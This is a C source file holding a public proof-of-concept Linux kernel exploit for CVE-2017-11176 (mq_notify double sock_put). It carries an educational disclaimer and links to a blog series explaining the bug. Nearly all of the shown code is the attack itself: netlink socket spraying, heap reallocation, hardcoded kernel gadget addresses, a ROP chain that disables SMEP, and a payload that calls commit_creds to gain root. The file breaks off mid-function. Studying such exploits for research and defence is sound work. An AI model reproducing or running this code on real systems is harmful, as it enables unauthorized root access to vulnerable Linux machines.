└── cve-2017-11176.c /cve-2017-11176.c: -------------------------------------------------------------------------------- 1 | /* 2 | * CVE-2017-11176: "mq_notify: double sock_put()" by LEXFO (2018). 3 | * 4 | * DISCLAIMER: The following code is for EDUCATIONAL purpose only. Do not 5 | * use it on a system without authorizations. 6 | * 7 | * WARNING: The exploit WILL NOT work on your target, it requires modifications! 8 | * 9 | * Compile with: 10 | * 11 | * gcc -fpic -O0 -std=c99 -Wall -pthread cve-2017-11176.c -o exploit 12 | * 13 | * For a complete explanation / analysis, please read the following series: 14 | * 15 | * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html 16 | * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html 17 | * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html 18 | * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html 19 | */ 20 | 21 | #define _GNU_SOURCE 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | 41 | // ============================================================================ 42 | // ---------------------------------------------------------------------------- 43 | // ============================================================================ 44 | 45 | #define NOTIFY_COOKIE_LEN (32) 46 | #define SOL_NETLINK (270) // from [include/linux/socket.h] 47 | 48 | #define NB_REALLOC_THREADS 200 49 | #define KMALLOC_TARGET 1024 50 | 51 | #define MAX_SOCK_PID_SPRAY 300 52 | 53 | #define MAGIC_NL_PID 0x11a5dcee 54 | #define MAGIC_NL_GROUPS 0x0 55 | 56 | // ---------------------------------------------------------------------------- 57 | 58 | // avoid library wrappers 59 | #define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp) 60 | #define _mmap(addr, length, prot, flags, fd, offset) syscall(__NR_mmap, addr, length, prot, flags, fd, offset) 61 | #define _munmap(addr, length) syscall(_NR_munmap, addr, length) 62 | #define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol) 63 | #define _setsockopt(sockfd, level, optname, optval, optlen) \ 64 | syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen) 65 | #define _getsockopt(sockfd, level, optname, optval, optlen) \ 66 | syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen) 67 | #define _dup(oldfd) syscall(__NR_dup, oldfd) 68 | #define _close(fd) syscall(__NR_close, fd) 69 | #define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags) 70 | #define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen) 71 | #define _getpid() syscall(__NR_getpid) 72 | #define _gettid() syscall(__NR_gettid) 73 | #define _sched_setaffinity(pid, cpusetsize, mask) \ 74 | syscall(__NR_sched_setaffinity, pid, cpusetsize, mask) 75 | #define _open(pathname, flags) syscall(__NR_open, pathname, flags) 76 | #define _read(fd, buf, count) syscall(__NR_read, fd, buf, count) 77 | #define _getsockname(sockfd, addr, addrlen) syscall(__NR_getsockname, sockfd, addr, addrlen) 78 | #define _connect(sockfd, addr, addrlen) syscall(__NR_connect, sockfd, addr, addrlen) 79 | #define _sched_yield() syscall(__NR_sched_yield) 80 | #define _lseek(fd, offset, whence) syscall(__NR_lseek, fd, offset, whence) 81 | 82 | // ---------------------------------------------------------------------------- 83 | 84 | #define PRESS_KEY() \ 85 | do { printf("[ ] press key to continue...\n"); getchar(); } while(0) 86 | 87 | #define BUILD_BUG_ON(cond) ((void)sizeof(char[1 - 2 * !!(cond)])) 88 | 89 | // ---------------------------------------------------------------------------- 90 | 91 | // target specific offset 92 | #define NLK_PID_OFFSET 0x288 93 | #define NLK_GROUPS_OFFSET 0x2a0 94 | #define NLK_WAIT_OFFSET 0x2b0 95 | #define WQ_HEAD_TASK_LIST_OFFSET 0x8 96 | #define WQ_ELMT_FUNC_OFFSET 0x10 97 | #define WQ_ELMT_TASK_LIST_OFFSET 0x18 98 | #define TASK_STRUCT_FILES_OFFSET 0x770 99 | #define FILES_STRUCT_FDT_OFFSET 0x8 100 | #define FDT_FD_OFFSET 0x8 101 | #define FILE_STRUCT_PRIVATE_DATA_OFFSET 0xa8 102 | #define SOCKET_SK_OFFSET 0x38 103 | 104 | // kernel function symbols 105 | #define NL_PID_HASHFN ((void*) 0xffffffff814b6da0) 106 | #define NETLINK_TABLE_GRAB ((void*) 0xffffffff814b7ea0) 107 | #define NETLINK_TABLE_UNGRAB ((void*) 0xffffffff814b73e0) 108 | #define COMMIT_CREDS ((void*) 0xffffffff810b8ee0) 109 | #define PREPARE_KERNEL_CRED ((void*) 0xffffffff810b90c0) 110 | #define NL_TABLE_ADDR ((void*) 0xffffffff824528c0) 111 | 112 | // gadgets in [_text; _etext] 113 | #define XCHG_EAX_ESP_ADDR ((uint64_t) 0xffffffff8107b6b8) 114 | #define MOV_PTR_RDI_MIN4_EAX_ADDR ((uint64_t) 0xffffffff811513b3) 115 | #define POP_RDI_ADDR ((uint64_t) 0xffffffff8103b81d) 116 | #define MOV_RAX_RBP_ADDR ((uint64_t) 0xffffffff813606d4) 117 | #define SHR_RAX_16_ADDR ((uint64_t) 0xffffffff810621ff) 118 | #define POP_RBP_ADDR ((uint64_t) 0xffffffff811b97bf) 119 | #define MOV_RAX_CR4_LEAVE_ADDR ((uint64_t) 0xffffffff81003009) 120 | #define MOV_CR4_RDI_LEAVE_ADDR ((uint64_t) 0xffffffff8100328d) 121 | #define AND_RAX_RDX_ADDR ((uint64_t) 0xffffffff8130c249) 122 | #define MOV_EDI_EAX_ADDR ((uint64_t) 0xffffffff814f118b) 123 | #define MOV_EDX_EDI_ADDR ((uint64_t) 0xffffffff8139ca54) 124 | #define POP_RCX_ADDR ((uint64_t) 0xffffffff81004abc) 125 | #define JMP_RCX_ADDR ((uint64_t) 0xffffffff8103357c) 126 | 127 | #define THREAD_SIZE (4096 << 2) 128 | 129 | // ---------------------------------------------------------------------------- 130 | 131 | struct realloc_thread_arg 132 | { 133 | pthread_t tid; 134 | int recv_fd; 135 | int send_fd; 136 | struct sockaddr_un addr; 137 | }; 138 | 139 | struct unblock_thread_arg 140 | { 141 | int sock_fd; 142 | int unblock_fd; 143 | bool is_ready; // we can use pthread barrier instead 144 | }; 145 | 146 | struct sock_pid 147 | { 148 | int sock_fd; 149 | uint32_t pid; 150 | }; 151 | 152 | // ---------------------------------------------------------------------------- 153 | 154 | struct hlist_node { 155 | struct hlist_node *next, **pprev; 156 | }; 157 | 158 | struct hlist_head { 159 | struct hlist_node *first; 160 | }; 161 | 162 | struct nl_pid_hash { 163 | struct hlist_head* table; 164 | uint64_t rehash_time; 165 | uint32_t mask; 166 | uint32_t shift; 167 | uint32_t entries; 168 | uint32_t max_shift; 169 | uint32_t rnd; 170 | }; 171 | 172 | struct netlink_table { 173 | struct nl_pid_hash hash; 174 | void* mc_list; 175 | void* listeners; 176 | uint32_t nl_nonroot; 177 | uint32_t groups; 178 | void* cb_mutex; 179 | void* module; 180 | uint32_t registered; 181 | }; 182 | 183 | struct list_head 184 | { 185 | struct list_head *next, *prev; 186 | }; 187 | 188 | struct wait_queue_head 189 | { 190 | int slock; 191 | struct list_head task_list; 192 | }; 193 | 194 | typedef int (*wait_queue_func_t)(void *wait, unsigned mode, int flags, void *key); 195 | 196 | struct wait_queue 197 | { 198 | unsigned int flags; 199 | #define WQ_FLAG_EXCLUSIVE 0x01 200 | void *private; 201 | wait_queue_func_t func; 202 | struct list_head task_list; 203 | }; 204 | 205 | struct socket { 206 | char pad[SOCKET_SK_OFFSET]; 207 | void *sk; 208 | }; 209 | 210 | struct file { 211 | char pad[FILE_STRUCT_PRIVATE_DATA_OFFSET]; 212 | void *private_data; 213 | }; 214 | 215 | struct fdtable { 216 | char pad[FDT_FD_OFFSET]; 217 | struct file **fd; 218 | }; 219 | 220 | struct files_struct { 221 | char pad[FILES_STRUCT_FDT_OFFSET]; 222 | struct fdtable *fdt; 223 | }; 224 | 225 | struct task_struct { 226 | char pad[TASK_STRUCT_FILES_OFFSET]; 227 | struct files_struct *files; 228 | }; 229 | 230 | struct thread_info { 231 | struct task_struct *task; 232 | char pad[0]; 233 | }; 234 | 235 | // ---------------------------------------------------------------------------- 236 | 237 | typedef void (*netlink_table_grab_func)(void); 238 | typedef void (*netlink_table_ungrab_func)(void); 239 | typedef struct hlist_head* (*nl_pid_hashfn_func)(struct nl_pid_hash *hash, uint32_t pid); 240 | typedef int (*commit_creds_func)(void *new); 241 | typedef void* (*prepare_kernel_cred_func)(void *daemon); 242 | 243 | #define netlink_table_grab() \ 244 | (((netlink_table_grab_func)(NETLINK_TABLE_GRAB))()) 245 | #define netlink_table_ungrab() \ 246 | (((netlink_table_ungrab_func)(NETLINK_TABLE_UNGRAB))()) 247 | #define nl_pid_hashfn(hash, pid) \ 248 | (((nl_pid_hashfn_func)(NL_PID_HASHFN))(hash, pid)) 249 | #define commit_creds(cred) \ 250 | (((commit_creds_func)(COMMIT_CREDS))(cred)) 251 | #define prepare_kernel_cred(daemon) \ 252 | (((prepare_kernel_cred_func)(PREPARE_KERNEL_CRED))(daemon)) 253 | 254 | // ---------------------------------------------------------------------------- 255 | 256 | static volatile size_t g_nb_realloc_thread_ready = 0; 257 | static volatile size_t g_realloc_now = 0; 258 | static volatile char g_realloc_data[KMALLOC_TARGET]; 259 | 260 | static volatile struct list_head g_fake_next_elt; 261 | static volatile struct wait_queue *g_uland_wq_elt; 262 | static volatile char *g_fake_stack; 263 | 264 | static volatile uint64_t saved_esp; 265 | static volatile uint64_t saved_rbp_lo; 266 | static volatile uint64_t saved_rbp_hi; 267 | static volatile uint64_t restored_rbp; 268 | static volatile uint64_t restored_rsp; 269 | 270 | static struct sock_pid g_target; 271 | static struct sock_pid g_guard; 272 | static int unblock_fd = 1; 273 | 274 | // ============================================================================ 275 | // ---------------------------------------------------------------------------- 276 | // ============================================================================ 277 | 278 | #define get_thread_info(thread_stack_ptr) \ 279 | ((struct thread_info*) (thread_stack_ptr & ~(THREAD_SIZE - 1))) 280 | 281 | #define get_current(thread_stack_ptr) \ 282 | ((struct task_struct*) (get_thread_info(thread_stack_ptr)->task)) 283 | 284 | static void payload(void) 285 | { 286 | struct task_struct *current = get_current(restored_rsp); 287 | struct socket *sock = current->files->fdt->fd[unblock_fd]->private_data; 288 | void *sk; 289 | 290 | sk = sock->sk; // keep it for list walking 291 | sock->sk = NULL; // fix the 'sk' dangling pointer 292 | 293 | // lock all hash tables 294 | netlink_table_grab(); 295 | 296 | // retrieve NETLINK_USERSOCK's hash table 297 | struct netlink_table *nl_table = * (struct netlink_table**)NL_TABLE_ADDR; // deref it! 298 | struct nl_pid_hash *hash = &(nl_table[NETLINK_USERSOCK].hash); 299 | 300 | // retrieve the bucket list 301 | struct hlist_head *bucket = nl_pid_hashfn(hash, g_target.pid); 302 | 303 | // walk the bucket list 304 | struct hlist_node *cur; 305 | struct hlist_node **pprev = &bucket->first; 306 | for (cur = bucket->first; cur; pprev = &cur->next, cur = cur->next) 307 | { 308 | // is this our target ? 309 | if (cur == (struct hlist_node*)sk) 310 | { 311 | // fix the 'next' and 'pprev' field 312 | if (cur->next == (struct hlist_node*)KMALLOC_TARGET) // 'cmsg_len' value (reallocation) 313 | cur->next = NULL; // first scenario: was the last element in the list 314 | cur->pprev = pprev; 315 | 316 | // __hlist_del() operation (dangling pointers fix up) 317 | *(cur->pprev) = cur->next; 318 | if (cur->next) 319 | cur->next->pprev = pprev; 320 | 321 | hash->entries--; // make it clean 322 | 323 | // stop walking 324 | break; 325 | } 326 | } 327 | 328 | // release the lock 329 | netlink_table_ungrab(); 330 | 331 | // privilege (de-)escalation 332 | commit_creds(prepare_kernel_cred(NULL)); 333 | } 334 | 335 | // ============================================================================ 336 | // ---------------------------------------------------------------------------- 337 | // ============================================================================ 338 | 339 | /* 340 | * Migrates the current thread to CPU#0. 341 | * 342 | * Returns 0 on success, -1 on error. 343 | */ 344 | 345 | static int migrate_to_cpu0(void) 346 | { 347 | cpu_set_t set; 348 | 349 | CPU_ZERO(&set); 350 | CPU_SET(0, &set); 351 | 352 | if (_sched_setaffinity(_getpid(), sizeof(set), &set) == -1) 353 | { 354 | perror("[-] sched_setaffinity"); 355 | return -1; 356 | } 357 | 358 | return 0; 359 | } 360 | 361 | // ============================================================================ 362 | // ---------------------------------------------------------------------------- 363 | // ============================================================================ 364 | 365 | /* 366 | * Creates a NETLINK_USERSOCK netlink socket, binds it and retrieves its pid. 367 | * Argument @sp must not be NULL. 368 | * 369 | * Returns 0 on success, -1 on error. 370 | */ 371 | 372 | static int create_netlink_candidate(struct sock_pid *sp) 373 | { 374 | struct sockaddr_nl addr = { 375 | .nl_family = AF_NETLINK, 376 | .nl_pad = 0, 377 | .nl_pid = 0, // zero to use netlink_autobind() 378 | .nl_groups = 0 // no groups 379 | 380 | }; 381 | size_t addr_len = sizeof(addr); 382 | 383 | if ((sp->sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) == -1) 384 | { 385 | perror("[-] socket"); 386 | goto fail; 387 | } 388 | 389 | if (_bind(sp->sock_fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) 390 | { 391 | perror("[-] bind"); 392 | goto fail_close; 393 | } 394 | 395 | if (_getsockname(sp->sock_fd, &addr, &addr_len)) 396 | { 397 | perror("[-] getsockname"); 398 | goto fail_close; 399 | } 400 | 401 | sp->pid = addr.nl_pid; 402 | 403 | return 0; 404 | 405 | fail_close: 406 | close(sp->sock_fd); 407 | fail: 408 | sp->sock_fd = -1; 409 | sp->pid = -1; 410 | return -1; 411 | } 412 | 413 | // ---------------------------------------------------------------------------- 414 | 415 | /* 416 | * Parses @proto hash table from '/proc/net/netlink' and allocates/fills the 417 | * @pids array. The total numbers of pids matched is stored in @nb_pids. 418 | * 419 | * A typical output looks like: 420 | * 421 | * $ cat /proc/net/netlink 422 | * sk Eth Pid Groups Rmem Wmem Dump Locks Drops 423 | * ffff88001eb47800 0 0 00000000 0 0 (null) 2 0 424 | * ffff88001fa65800 6 0 00000000 0 0 (null) 2 0 425 | * 426 | * Every line is printed from netlink_seq_show(): 427 | * 428 | * seq_printf(seq, "%p %-3d %-6d %08x %-8d %-8d %p %-8d %-8d\n" 429 | * 430 | * Returns 0 on success, -1 on error. 431 | */ 432 | 433 | static int parse_proc_net_netlink(int **pids, size_t *nb_pids, uint32_t proto) 434 | { 435 | int proc_fd; 436 | char buf[4096]; 437 | int ret; 438 | char *ptr; 439 | char *eol_token; 440 | size_t nb_bytes_read = 0; 441 | size_t tot_pids = 1024; 442 | 443 | *pids = NULL; 444 | *nb_pids = 0; 445 | 446 | if ((*pids = calloc(tot_pids, sizeof(**pids))) == NULL) 447 | { 448 | perror("[-] not enough memory"); 449 | goto fail; 450 | } 451 | 452 | memset(buf, 0, sizeof(buf)); 453 | if ((proc_fd = _open("/proc/net/netlink", O_RDONLY)) < 0) 454 | { 455 | perror("[-] open"); 456 | goto fail; 457 | } 458 | 459 | read_next_block: 460 | if ((ret = _read(proc_fd, buf, sizeof(buf))) < 0) 461 | { 462 | perror("[-] read"); 463 | goto fail_close; 464 | } 465 | else if (ret == 0) // no more line to read 466 | { 467 | goto parsing_complete; 468 | } 469 | 470 | ptr = buf; 471 | 472 | if (strstr(ptr, "sk") != NULL) // this is the first line 473 | { 474 | if ((eol_token = strstr(ptr, "\n")) == NULL) 475 | { 476 | // XXX: we don't handle this case, we can't even read one line... 477 | printf("[-] can't find end of first line\n"); 478 | goto fail_close; 479 | } 480 | nb_bytes_read += eol_token - ptr + 1; 481 | ptr = eol_token + 1; // skip the first line 482 | } 483 | 484 | parse_next_line: 485 | // this is a "normal" line 486 | if ((eol_token = strstr(ptr, "\n")) == NULL) // current line is incomplete 487 | { 488 | if (_lseek(proc_fd, nb_bytes_read, SEEK_SET) == -1) 489 | { 490 | perror("[-] lseek"); 491 | goto fail_close; 492 | } 493 | goto read_next_block; 494 | } 495 | else 496 | { 497 | void *cur_addr; 498 | int cur_proto; 499 | int cur_pid; 500 | 501 | sscanf(ptr, "%p %d %d", &cur_addr, &cur_proto, &cur_pid); 502 | 503 | if (cur_proto == proto) 504 | { 505 | if (*nb_pids >= tot_pids) // current array is not big enough, make it grow 506 | { 507 | tot_pids *= 2; 508 | if ((*pids = realloc(*pids, tot_pids * sizeof(int))) == NULL) 509 | { 510 | printf("[-] not enough memory\n"); 511 | goto fail_close; 512 | } 513 | } 514 | 515 | *(*pids + *nb_pids) = cur_pid; 516 | *nb_pids = *nb_pids + 1; 517 | } 518 | 519 | nb_bytes_read += eol_token - ptr + 1; 520 | ptr = eol_token + 1; 521 | goto parse_next_line; 522 | } 523 | 524 | parsing_complete: 525 | close(proc_fd); 526 | return 0; 527 | 528 | fail_close: 529 | close(proc_fd); 530 | fail: 531 | if (*pids != NULL) 532 | free(*pids); 533 | *nb_pids = 0; 534 | return -1; 535 | } 536 | 537 | // ---------------------------------------------------------------------------- 538 | 539 | /* 540 | * Prepare multiple netlink sockets and search "adjacent" ones. Arguments 541 | * @target and @guard must not be NULL. 542 | * 543 | * Returns 0 on success, -1 on error. 544 | */ 545 | 546 | static int find_netlink_candidates(struct sock_pid *target, struct sock_pid *guard) 547 | { 548 | struct sock_pid candidates[MAX_SOCK_PID_SPRAY]; 549 | int *pids = NULL; 550 | size_t nb_pids; 551 | int i, j; 552 | int nb_owned; 553 | int ret = -1; 554 | 555 | target->sock_fd = -1; 556 | guard->sock_fd = -1; 557 | 558 | // allocate a bunch of netlink sockets 559 | for (i = 0; i < MAX_SOCK_PID_SPRAY; ++i) 560 | { 561 | if (create_netlink_candidate(&candidates[i])) 562 | { 563 | printf("[-] failed to create a new candidate\n"); 564 | goto release_candidates; 565 | } 566 | } 567 | printf("[+] %d candidates created\n", MAX_SOCK_PID_SPRAY); 568 | 569 | if (parse_proc_net_netlink(&pids, &nb_pids, NETLINK_USERSOCK)) 570 | { 571 | printf("[-] failed to parse '/proc/net/netlink'\n"); 572 | goto release_pids; 573 | } 574 | printf("[+] parsing '/proc/net/netlink' complete\n"); 575 | 576 | // find two consecutives pid that we own (slow algorithm O(N*M)) 577 | i = nb_pids; 578 | while (--i > 0) 579 | { 580 | guard->pid = pids[i]; 581 | target->pid = pids[i - 1]; 582 | nb_owned = 0; 583 | 584 | // the list is not ordered by pid, so we do a full walking 585 | for (j = 0; j < MAX_SOCK_PID_SPRAY; ++j) 586 | { 587 | if (candidates[j].pid == guard->pid) 588 | { 589 | guard->sock_fd = candidates[j].sock_fd; 590 | nb_owned++; 591 | } 592 | else if (candidates[j].pid == target->pid) 593 | { 594 | target->sock_fd = candidates[j].sock_fd; 595 | nb_owned++; 596 | } 597 | 598 | if (nb_owned == 2) 599 | goto found; 600 | } 601 | 602 | // reset sock_fd to release them 603 | guard->sock_fd = -1; 604 | target->sock_fd = -1; 605 | } 606 | 607 | // we didn't found any valid candidates, release and quit 608 | goto release_pids; 609 | 610 | found: 611 | printf("[+] adjacent candidates found!\n"); 612 | ret = 0; // we succeed 613 | 614 | release_pids: 615 | i = MAX_SOCK_PID_SPRAY; // reset the candidate counter for release 616 | if (pids != NULL) 617 | free(pids); 618 | 619 | release_candidates: 620 | while (--i >= 0) 621 | { 622 | // do not release the target/guard sockets 623 | if ((candidates[i].sock_fd != target->sock_fd) && 624 | (candidates[i].sock_fd != guard->sock_fd)) 625 | { 626 | close(candidates[i].sock_fd); 627 | } 628 | } 629 | 630 | return ret; 631 | } 632 | 633 | // ============================================================================ 634 | // ---------------------------------------------------------------------------- 635 | // ============================================================================ 636 | 637 | static void* unblock_thread(void *arg) 638 | { 639 | struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg; 640 | int val = 3535; // need to be different than zero 641 | 642 | // notify the main thread that the unblock thread has been created. It *must* 643 | // directly call mq_notify(). 644 | uta->is_ready = true; 645 | 646 | sleep(5); // gives some time for the main thread to block 647 | 648 | printf("[ ][unblock] closing %d fd\n", uta->sock_fd); 649 | _close(uta->sock_fd); 650 | 651 | printf("[ ][unblock] unblocking now\n"); 652 | if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val))) 653 | perror("[+] setsockopt"); 654 | return NULL; 655 | } 656 | 657 | // ---------------------------------------------------------------------------- 658 | 659 | static int decrease_sock_refcounter(int sock_fd, int unblock_fd) 660 | { 661 | pthread_t tid; 662 | struct sigevent sigev; 663 | struct unblock_thread_arg uta; 664 | char sival_buffer[NOTIFY_COOKIE_LEN]; 665 | 666 | // initialize the unblock thread arguments 667 | uta.sock_fd = sock_fd; 668 | uta.unblock_fd = unblock_fd; 669 | uta.is_ready = false; 670 | 671 | // initialize the sigevent structure 672 | memset(&sigev, 0, sizeof(sigev)); 673 | sigev.sigev_notify = SIGEV_THREAD; 674 | sigev.sigev_value.sival_ptr = sival_buffer; 675 | sigev.sigev_signo = uta.sock_fd; 676 | 677 | printf("[ ] creating unblock thread...\n"); 678 | if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0) 679 | { 680 | perror("[-] pthread_create"); 681 | goto fail; 682 | } 683 | while (uta.is_ready == false) // spinlock until thread is created 684 | ; 685 | printf("[+] unblocking thread has been created!\n"); 686 | 687 | printf("[ ] get ready to block\n"); 688 | if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF)) 689 | { 690 | perror("[-] mq_notify"); 691 | goto fail; 692 | } 693 | printf("[+] mq_notify succeed\n"); 694 | 695 | return 0; 696 | 697 | fail: 698 | return -1; 699 | } 700 | 701 | // ---------------------------------------------------------------------------- 702 | 703 | static int fill_receive_buffer(struct sock_pid *target, struct sock_pid *guard) 704 | { 705 | char buf[1024*10]; 706 | int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF 707 | 708 | struct sockaddr_nl addr = { 709 | .nl_family = AF_NETLINK, 710 | .nl_pad = 0, 711 | .nl_pid = target->pid, // use the target's pid 712 | .nl_groups = 0 // no groups 713 | }; 714 | 715 | struct iovec iov = { 716 | .iov_base = buf, 717 | .iov_len = sizeof(buf) 718 | }; 719 | 720 | struct msghdr mhdr = { 721 | .msg_name = &addr, 722 | .msg_namelen = sizeof(addr), 723 | .msg_iov = &iov, 724 | .msg_iovlen = 1, 725 | .msg_control = NULL, 726 | .msg_controllen = 0, 727 | .msg_flags = 0, 728 | }; 729 | 730 | printf("[ ] preparing blocking netlink socket\n"); 731 | 732 | if (_setsockopt(target->sock_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size))) 733 | perror("[-] setsockopt"); // no worry if it fails, it is just an optim. 734 | else 735 | printf("[+] receive buffer reduced\n"); 736 | 737 | printf("[ ] flooding socket\n"); 738 | while (_sendmsg(guard->sock_fd, &mhdr, MSG_DONTWAIT) > 0) 739 | ; 740 | if (errno != EAGAIN) 741 | { 742 | perror("[-] sendmsg"); 743 | goto fail; 744 | } 745 | printf("[+] flood completed\n"); 746 | 747 | printf("[+] blocking socket ready\n"); 748 | 749 | return 0; 750 | 751 | fail: 752 | printf("[-] failed to prepare blocking socket\n"); 753 | return -1; 754 | } 755 | 756 | // ============================================================================ 757 | // ---------------------------------------------------------------------------- 758 | // ============================================================================ 759 | 760 | // ROP-chains 761 | #define STORE_EAX(addr) \ 762 | *stack++ = POP_RDI_ADDR; \ 763 | *stack++ = (uint64_t)addr + 4; \ 764 | *stack++ = MOV_PTR_RDI_MIN4_EAX_ADDR; 765 | 766 | #define SAVE_ESP(addr) \ 767 | STORE_EAX(addr); 768 | 769 | #define SAVE_RBP(addr_lo, addr_hi) \ 770 | *stack++ = MOV_RAX_RBP_ADDR; \ 771 | STORE_EAX(addr_lo); \ 772 | *stack++ = SHR_RAX_16_ADDR; \ 773 | *stack++ = SHR_RAX_16_ADDR; \ 774 | STORE_EAX(addr_hi); 775 | 776 | #define CR4_TO_RAX() \ 777 | *stack++ = POP_RBP_ADDR; \ 778 | *stack = (unsigned long) stack + 2*8; stack++; /* skip 0xdeadbeef */ \ 779 | *stack++ = MOV_RAX_CR4_LEAVE_ADDR; \ 780 | *stack++ = 0xdeadbeef; // dummy RBP value! 781 | 782 | #define RDI_TO_CR4() \ 783 | *stack++ = POP_RBP_ADDR; \ 784 | *stack = (unsigned long) stack + 2*8; stack++; /* skip 0xdeadbeef */ \ 785 | *stack++ = MOV_CR4_RDI_LEAVE_ADDR; \ 786 | *stack++ = 0xdeadbeef; // dummy RBP value! 787 | 788 | #define SMEP_MASK (~((uint64_t)(1 << 20))) // 0xffffffffffefffff 789 | 790 | #define DISABLE_SMEP() \ 791 | CR4_TO_RAX(); \ 792 | *stack++ = POP_RDI_ADDR; \ 793 | *stack++ = SMEP_MASK; \ 794 | *stack++ = MOV_EDX_EDI_ADDR; \ 795 | *stack++ = AND_RAX_RDX_ADDR; \ 796 | *stack++ = MOV_EDI_EAX_ADDR; \ 797 | RDI_TO_CR4(); 798 | 799 | #define JUMP_TO(addr) \ 800 | *stack++ = POP_RCX_ADDR; \ 801 | *stack++ = (uint64_t) addr; \ 802 | *stack++ = JMP_RCX_ADDR; 803 | 804 | // ---------------------------------------------------------------------------- 805 | 806 | extern void userland_entry(void); // make GCC happy 807 | 808 | static __attribute__((unused)) void wrapper(void) 809 | { 810 | // avoid the prologue 811 | __asm__ volatile( "userland_entry:" :: ); 812 | 813 | // reconstruct original rbp/rsp 814 | restored_rbp = ((saved_rbp_hi << 32) | saved_rbp_lo); 815 | restored_rsp = ((saved_rbp_hi << 32) | saved_esp); 816 | 817 | __asm__ volatile( "movq %0, %%rax\n" 818 | "movq %%rax, %%rbp\n" 819 | :: "m"(restored_rbp) ); 820 | 821 | __asm__ volatile( "movq %0, %%rax\n" 822 | "movq %%rax, %%rsp\n" 823 | :: "m"(restored_rsp) ); 824 | 825 | uint64_t ptr = (uint64_t) &payload; 826 | __asm__ volatile( "movq %0, %%rax\n" 827 | "call *%%rax\n" 828 | :: "m"(ptr) ); 829 | 830 | // arbitrary call primitive requires a non-null return value (i.e. non zero RAX register) 831 | __asm__ volatile( "movq $5555, %%rax\n" 832 | :: ); 833 | 834 | // avoid the epilogue and the "leave" instruction 835 | __asm__ volatile( "ret" :: ); 836 | } 837 | 838 | // ---------------------------------------------------------------------------- 839 | 840 | static void build_rop_chain(uint64_t *stack) 841 | { 842 | memset((void*)stack, 0xaa, 4096); 843 | 844 | SAVE_ESP(&saved_esp); 845 | SAVE_RBP(&saved_rbp_lo, &saved_rbp_hi); 846 | DISABLE_SMEP(); 847 | JUMP_TO(&userland_entry); 848 | } 849 | 850 | // ---------------------------------------------------------------------------- 851 | 852 | static int allocate_uland_structs(void) 853 | { 854 | // arbitrary value, must not collide with already mapped memory (/proc//maps) 855 | void *starting_addr = (void*) 0x20000000; 856 | size_t max_try = 10; 857 | 858 | retry: 859 | if (max_try-- <= 0) 860 | { 861 | printf("[-] failed to allocate structures at fixed location\n"); 862 | return -1; 863 | } 864 | 865 | starting_addr += 4096; 866 | 867 | g_fake_stack = (char*) _mmap(starting_addr, 4096, PROT_READ|PROT_WRITE, 868 | MAP_FIXED|MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED|MAP_POPULATE, -1, 0); 869 | if (g_fake_stack == MAP_FAILED) 870 | { 871 | perror("[-] mmap"); 872 | goto retry; 873 | } 874 | 875 | g_uland_wq_elt = (struct wait_queue*) _mmap(g_fake_stack + 0x100000000, 4096, PROT_READ|PROT_WRITE, 876 | MAP_FIXED|MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED|MAP_POPULATE, -1, 0); 877 | if (g_uland_wq_elt == MAP_FAILED) 878 | { 879 | perror("[-] mmap"); 880 | munmap((void*)g_fake_stack, 4096); 881 | goto retry; 882 | } 883 | 884 | // paranoid check 885 | if ((char*)g_uland_wq_elt != ((char*)g_fake_stack + 0x100000000)) 886 | { 887 | munmap((void*)g_fake_stack, 4096); 888 | munmap((void*)g_uland_wq_elt, 4096); 889 | goto retry; 890 | } 891 | 892 | printf("[+] userland structures allocated:\n"); 893 | printf("[+] g_uland_wq_elt = %p\n", g_uland_wq_elt); 894 | printf("[+] g_fake_stack = %p\n", g_fake_stack); 895 | 896 | return 0; 897 | } 898 | 899 | // ============================================================================ 900 | // ---------------------------------------------------------------------------- 901 | // ============================================================================ 902 | 903 | static bool can_use_realloc_gadget(void) 904 | { 905 | int fd; 906 | int ret; 907 | bool usable = false; 908 | char buf[32]; 909 | 910 | if ((fd = _open("/proc/sys/net/core/optmem_max", O_RDONLY)) < 0) 911 | { 912 | perror("[-] open"); 913 | // TODO: fallback to sysctl syscall 914 | return false; // we can't conclude, try it anyway or not ? 915 | } 916 | 917 | memset(buf, 0, sizeof(buf)); 918 | if ((ret = _read(fd, buf, sizeof(buf))) <= 0) 919 | { 920 | perror("[-] read"); 921 | goto out; 922 | } 923 | printf("[ ] optmem_max = %s", buf); 924 | 925 | if (atol(buf) > 512) // only test if we can use the kmalloc-1024 cache 926 | usable = true; 927 | 928 | out: 929 | _close(fd); 930 | return usable; 931 | } 932 | 933 | // ---------------------------------------------------------------------------- 934 | 935 | static int init_realloc_data(void) 936 | { 937 | struct cmsghdr *first; 938 | int* pid = (int*)&g_realloc_data[NLK_PID_OFFSET]; 939 | void** groups = (void**)&g_realloc_data[NLK_GROUPS_OFFSET]; 940 | struct wait_queue_head *nlk_wait = (struct wait_queue_head*) &g_realloc_data[NLK_WAIT_OFFSET]; 941 | 942 | memset((void*)g_realloc_data, 'A', sizeof(g_realloc_data)); 943 | 944 | // necessary to pass checks in __scm_send() 945 | first = (struct cmsghdr*) &g_realloc_data; 946 | first->cmsg_len = sizeof(g_realloc_data); 947 | first->cmsg_level = 0; // must be different than 